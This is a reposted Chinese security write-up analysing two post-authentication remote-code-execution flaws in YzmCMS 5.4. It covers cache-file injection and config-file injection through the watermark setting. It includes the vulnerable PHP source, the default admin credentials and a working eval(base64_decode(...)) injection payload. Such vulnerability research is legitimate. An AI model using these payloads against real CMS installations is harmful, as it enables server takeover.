记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

YzmCMS 5.4 后台getshell

2020-02-20 12:09

前言

这个CMS是EIS2019的一道题目ezcms,当时没有做出来,本想等wp学习一下,没想到官方wp没有给出这道题的题解,因为该cms还没修复漏洞,结果等到作者后面修复了漏洞发布了5.5版本,出题人也忘记发wp了。

所以决定自己再来分析一下补丁看能不能找到漏洞点。因为这个补丁不只是修复了安全漏洞,而是一次大版本的更新,更新的文件有100多个,更新日志也只是简单提到修复了安全问题,所以我找到的这2个漏洞点不一定包括了所有问题,而且都是后台getshell,仅供大家参考。

另外默认安装后,管理员的用户名密码就是yzmcms/yzmcms

缓存文件写入造成getshell

漏洞分析

发现的第一个问题出现在缓存文件写入函数处,文件为yzmphp/core/class/cache_file.class.php,函数名为_fileputcontents

可以看到,补丁在原先的$contents前拼接了一段<?php exit('NO.'); ?>\n,而如果要进入序列化的代码,需要$this->config['mode']为1,然后就是正常的写入文件。

调用这个函数的是同类下的set函数

public function set($id, $data, $cachelife = 0){
$cache = array();
$cache['contents'] = $data;
$cache['expire'] = $cachelife === 0 ? 0 : SYS_TIME + $cachelife;
$cache['mtime'] = SYS_TIME;

if(!is_dir($this->config['cache_dir'])) {
@mkdir($this->config['cache_dir'], 0777, true);
}

$file = $this->_file($id);

return $this->_fileputcontents($file, $cache);
}

而这个类cache_filecache_factory中被实例化。

在文件yzmphp/core/class/cache_factory.class.php中可以看到

public static function get_instance() {
if(self::$instances==null){
self::$instances = new self();
switch(C('cache_type')) {
case 'file' :
yzm_base::load_sys_class('cache_file','',0);
self::$class = 'cache_file';
self::$config = C('file_config');
break;
case 'redis' :
yzm_base::load_sys_class('cache_redis','',0);
self::$class = 'cache_redis';
self::$config = C('redis_config');
break;
case 'memcache' :
yzm_base::load_sys_class('cache_memcache','',0);
self::$class = 'cache_memcache';
self::$config = C('memcache_config');
break;
default :
yzm_base::load_sys_class('cache_file','',0);
self::$class = 'cache_file';
self::$config = C('file_config');
}
}

return self::$instances;
}

这三个类提供了相同的功能,使用者可以通过配置来选择其中的某一个类,默认配置下便是cache_file类。

而系统中通过cache_factory类来实例化缓存类的函数是在yzmphp/core/function/global.func.php中的setcache

function setcache($name, $data, $timeout=0) {
yzm_base::load_sys_class('cache_factory','',0);
$cache = cache_factory::get_instance()->get_cache_instances();
return $cache->set($name, $data, $timeout);
}

所以传给setcache的第一个参数将作为文件名的一部分(后缀为php),第二个参数将成为文件内容的一部分。缓存配置相同的情况下,文件名路径不变,只要传递的内容可控就可以写入代码从而getshell。

而对setcache的调用有多处,其中有一些是不能用的,因为会过滤尖括号,比如wechaturlrule模块,最后我通过用户自定义配置成功写入代码。

在文件commom/function/system.func.php中有

function get_config($key = ''){
if(!$configs = getcache('configs')){
$data = D('config')->where(array('status'=>1))->select();
$configs = array();
foreach($data as $val){
$configs[$val['name']] = $val['value'];
}
setcache('configs', $configs);
}
if(!$key){
return $configs;
}else{
return array_key_exists($key, $configs) ? $configs[$key] : '';
}
}

setcache的第二个参数是从数据库中config表读取的,因此找到一个写入该表的接口,再使得get_config函数被调用即可。调用get_config比较简单,因为这个函数是用于获取配置的,很多地方都用到了,只要刷新页面即可。所以重点是找到可用的写入接口。

在文件application/admin/controller/system_manage.class.php中就有一个可用的接口

public function user_config_add() {
if(isset($_POST['dosubmit'])){
$config = D('config');
$res = $config->where(array('name' => $_POST['name']))->find();
if($res) return_json(array('status'=>0,'message'=>'配置名称已存在!'));
if(empty($_POST['value'])) return_json(array('status'=>0,'message'=>'配置值不能为空!'));

$_POST['type'] = 99;
if(in_array($_POST['fieldtype'], array('select','radio'))){
$_POST['setting'] = array2string(explode('|', rtrim($_POST['setting'], '|')));
}else{
$_POST['setting'] = '';
}

if($config->insert($_POST)){
delcache('configs');
return_json(array('status'=>1,'message'=>L('operation_success')));
}else{
return_json(array('status'=>0,'message'=>L('data_not_modified')));
}
}
include $this->admin_tpl('user_config_add');
}

可以看到post过来的值被直接insert到了config表(如果insert的第二个参数为true则会进行过滤),所以这个接口就可以用于写入代码。

POC

因为安装以后的默认配置中的file_configmode为2,所以在我们发现的第一个函数_fileputcontents中是不会进入序列化代码的阶段,在进行写入以前,我们需要手动修改配置文件common/config/config.php

//缓存类型为file缓存时的配置项
'file_config' => array (
'cache_dir' => YZMPHP_PATH.'cache/chche_file/', //缓存文件目录
'suffix' => '.cache.php', //缓存文件后缀
'mode' => '1', //缓存格式:mode 1 为serialize序列化, mode 2 为保存为可执行文件array
),

将该处的mode改为1保存即可

然后使用yzmcms/yzmcms登陆后台,来到系统管理的自定义配置处

然后添加配置,写入代码即可。

添加以后去查看缓存文件夹cache/chche_file,可以看到configs.cache.php

直接在浏览器打开

总结

这个洞有一个很明显的问题,就是默认配置下是不可行的,因为补丁也没有对mode为2的情况进行修改,证明那个地方是没有问题,所以这个地方应该不能解决ezcms这道题,而我在试图解决这个问题的时候,发现了修改配置处可以直接getshell,所以作为下一个漏洞分析

保存配置文件造成getshell

漏洞分析

这个cms中有一些配置项是写在文件中,也有一些是写在数据库中的,例如上一个漏洞提到的mode就是写在文件中,而我们的payload是写在数据库中再进行读取的,为了避免上面手动修改配置文件这一过程,我找到了一个函数可以修改配置文件,但是问题是只能对规定的4个key进行修改,所以是不能直接修改mode这个key的。于是我回去查看补丁,发现修改配置的函数也进行了修改。

该函数位于文件application/admin/common/function/function.php

function set_config($config) {
$configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php';
if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop');
$pattern = $replacement = array();
foreach($config as $k=>$v) {
$pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is";
$replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},";
}
$str = file_get_contents($configfile);
$str = preg_replace($pattern, $replacement, $str);
return file_put_contents($configfile, $str, LOCK_EX);
}

可以看到,补丁在原来的函数中增加了一行代码,将传入的$config中的字符,$移除了,而原先就直接经过特定的正则表达式将config.php文件中的内容进行替换后再写回去。

调用这个函数的地方,除了安装的页面就只有application/admin/controller/system_manage.class.php中的save

public function save() {
yzm_base::load_common('function/function.php', 'admin');
if(isset($_POST['dosubmit'])){
if(isset($_POST['mail_inbox']) && $_POST['mail_inbox']){
if(!is_email($_POST['mail_inbox'])) showmsg(L('mail_format_error'));
}
if(isset($_POST['upload_types'])){
if(empty($_POST['upload_types'])) showmsg('允许上传附件类型不能为空!', 'stop');
}
$arr = array();
$config = D('config');
foreach($_POST as $key => $value){
if(in_array($key, array('site_theme','watermark_enable','watermark_name','watermark_position'))) {
$value = safe_replace(trim($value));
$arr[$key] = $value;
}else{
if($key!='site_code'){
$value = htmlspecialchars($value);
}
}
$config->update(array('value'=>$value), array('name'=>$key));
}
set_config($arr);
delcache('configs');
showmsg(L('operation_success'), '', 1);
}
}

save中,只有key为'site_theme','watermark_enable','watermark_name','watermark_position'的配置项会经过safe_replace后传入set_config,其他项则是直接在数据库中更新。

safe_replace则对一些特殊字符进行了过滤

function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','',$string);
$string = str_replace("'",'',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

审计完代码以后我们可以发现post过去的值,只有特定的key会被写入配置文件,而value不能包含safe_replace中的特殊字符,最后value会被拼接成为preg_replace中的第二个参数$replacement的一部分。而在$replacement中用了${1}这样的形式来指定上文匹配到的',虽然{}被过滤了,但是$1实际上是与${1}等价的,因此我们通过这种方式闭合单引号,然后,也没有被过滤,所以我们可以在键值对的后面插入别的代码,可惜的是>是被过滤的,所以我们无法插入key => value这样的形式来修改项。不过可以直接插入函数,像array(0=>1,func())的形式中,func是会被执行的,并且将返回值作为value成为array的一部分。

所以只要闭合了单引号,再传递一个eval过去就可以执行代码了,因为有过滤函数,所以可以再套一层base64。

POC

设置的接口在系统管理的系统设置中的附加设置处。

通过上文的分析我们来构建payload。

system('echo 123');base64_encode以后为c3lzdGVtKCdlY2hvIDEyMycpOw==,套一层eval并且闭合单引号后payload为

$1,eval(base64_decode($1c3lzdGVtKCdlY2hvIDEyMycpOw==$1)),$1

先查看配置文件原先的内容

回到页面,水印图片名称就是可用的一个配置项,在这个地方写入我们的payload并提交。

提交以后可以发现已经成功执行命令了

再回去查看配置文件可以看到代码也写入了

总结

这个洞没有上一个那么鸡肋,只要能进后台就可以用,并且默认密码也算弱口令了,所以如果ezcms采用默认安装,那么这个洞就可以解题了,不过现在没有环境可以用,也无法确定。

知识来源: xz.aliyun.com/t/7231

阅读:9965 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“YzmCMS 5.4 后台getshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云